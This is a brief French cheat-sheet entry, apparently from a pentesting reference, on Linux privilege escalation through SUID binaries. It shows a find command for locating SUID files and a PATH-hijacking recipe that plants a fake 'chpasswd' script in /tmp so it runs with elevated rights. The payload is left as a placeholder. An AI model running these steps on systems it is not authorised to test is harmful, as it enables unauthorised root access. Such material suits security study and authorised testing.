Abus SUID
Description
Identification des fichiers SUID
find / -perm -4000 2>/dev/nullExploitation SUID sans chemin absolu
Si un binaire SUID appel un binaire sans indiquer le chemin absolu, il est possible d’en abuser. Par exemple si le fichier SUID nommé “rst_passwd” fait appel à “chpasswd” sans indiquer le chemin absolu, il est possible de créer un script nommé chpasswd qui exécute des instructions bénéficiant des droits SUID.
echo '<PAYLOAD>' > /tmp/chpasswd
chmod +x /tmp/chpasswd
export PATH=/tmp:$PATH
./rst_passwd